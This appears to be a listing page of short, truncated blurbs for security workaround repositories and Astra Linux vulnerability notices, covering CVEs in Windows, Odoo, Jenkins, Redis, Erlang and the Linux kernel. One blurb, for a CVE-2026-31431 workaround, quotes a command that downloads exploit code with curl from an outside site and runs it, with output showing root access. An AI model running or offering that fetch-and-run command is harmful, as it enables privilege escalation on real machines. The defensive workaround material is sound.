pdfjs_disable_eval

pdfjsdisableeval Module for disabling JavaScript evaluation in PDF.js. This works around the missing fix in Odoo 14.0 for CVE-2024-4367...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

zeekjs-notice-telegram

Zeek Notice Telegram ZeekJS edition This package re-implements zeek-notice-telegram in TypeScript ZeekJS to work around unreliability in ActiveHTTP. It borrows both Yacin's package above and the ZeekJS reimplementation of that package's original inspiration zeek-notice-slack which is now...

CVE-2020-1350-Fix

KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 Introduction On July 14, 2020, Microsoft released a security update for the issue that is described in CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability. This advisory describes a Critical Remote Code Execution RC...

CVE-2020-16898_Workaround

CVE-2020-16898Workaround PowerShell Script Workaround for VCE-220-16898 vulnerability...

SeriousSam

Windows Elevation of Privilege Vulnerability CVE-2021-36934 SeriousSAM Description see MS article: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934 To deploy the workaround via GPO Copy paste the below commands in notepad, save as a batch file .bat extension and then use to pu...

SMBGhost-WorkaroundApplier

SMBGhost Workaround Applier for CVE-2020-0796 - SMBv3 unauthenticated RCE This scanner has the ability to detect and apply the workaround in case your system is not patched yet. The Scanner is looking for the vulrability in your system only. You should run this script as administrator. Libraries...

CVE-2020-16898_Checker

CVE-2020-16898Checker Check all Network Interface for CVE-2020-16898 Vulnerability No Patch nor Workaround, for this check this one https://github.com/CPO-EH/CVE-2020-16898Workaround/blob/main/VCE-2020-16898QuickWin.ps1...

Follina-Workaround-CVE-2022-30190

Follina workaround CVE-2022-30190 Description These two scripts can be used to apply the workaround provided by Microsoft to mitigate the vulnerability CVE-2022-30190 as detailed in the MSRC blog and to restore the workaround, should an official patch be released. The first script...

SECURITY-3430

SECURITY-3430 Workaround This is a Java agent for use with Jenkins controllers that do not have the fix for SECURITY-3430 i.e., up to and including 2.470 and LTS 2.452.3. Mechanism and Compatibility It transforms the definition of the class containing the SECURITY-3430 vulnerability to prevent...

Embarcadero-Workaround

What is Embarcadero Workaround ? This is an unofficial "patch" for "Embarcadero VCL Library Stack/Heap Overflow" CVE-2014-0993 and CVE-2014-0994. Which Software versions does this workaround support? 32-bit software compiled with Delphi and C++ Builder where the "VCL library" was included, as lon...

Astra Linux – Vulnerability in Rails

Action Pack is a framework for handling and responding to web requests. Under certain circumstances, response bodies may not be closed properly. If a response does not notify the close signal, ActionDispatch::Executor will not know to reset the thread local state for the next request. This can le...

Astra Linux – Vulnerability in jqueryui

jQuery-UI is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of various Text options of the Datepicker widget from untrusted sources might execute untrusted code. This issue has been fixed in jQuery UI 1.13.0. The values passed to various Text options are...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: Wifi: rtw88 – Check whether a PCI upstream bridge exists. The pciupstreambridge function returns NULL if the device is on a root bus. If 8821CE is installed in the system with such a PCI topology, the probing routine will crash...

Astra Linux – Vulnerability in xrdp

xrdp is an open-source project that provides a graphical login to remote machines using the Microsoft Remote Desktop Protocol RDP. xrdp versions prior to 0.9.21 contain a “Out of Bound Read” vulnerability in the xrdpsecprocessmcsdataCSCORE function. There are no known workarounds for this issue...

Astra Linux – Vulnerability in Redis

Redis is an open-source, in-memory database that persists data on disk. In versions prior to 8.0.3, as well as in 7.4.5, 7.2.10, and 6.2.19, an authenticated user could use a specially crafted string to trigger an out-of-bounds write operation on the hyperloglog data structure, potentially leadin...

Astra Linux – Vulnerability in Linux, Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: net: nexthop: fix null pointer dereference when IPv6 is not enabled When we attempt to add an IPv6 nexthop parameter, and IPv6 is not enabled !CONFIGIPV6, we encounter a NULL pointer dereference in the error path of nhcreateipv6...

Astra Linux - уязвимость в linux-6.1

In the Linux kernel, the following vulnerability has been resolved: erofs: handle NONHEAD !delta1 lclusters gracefully syzbot reported a WARNING in iomapiterdone: iomapfiemap+0x73b/0x9b0 fs/iomap/fiemap.c:80 ioctlfiemap fs/ioctl.c:220 inline Generally, NONHEAD lclusters won't have delta1==0, exce...

Astra Linux – Vulnerability in Erlang

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server might allow an attacker to perform unauthenticated remote code execution RCE. By exploiting a flaw in the SSH protocol’s message handling, a malicious...

CVE-2022-30190-Follina-Patch

CVE-2022-30190-Follina-Patch This is a simple program allows you to complete the Workarounds temporary Patch at once instead of typing in cmd Addressed to specific people. Requires you to run it as an administrator. 6/2/2022 Images The exe file Manually Run Command Prompt as Administrator. To bac...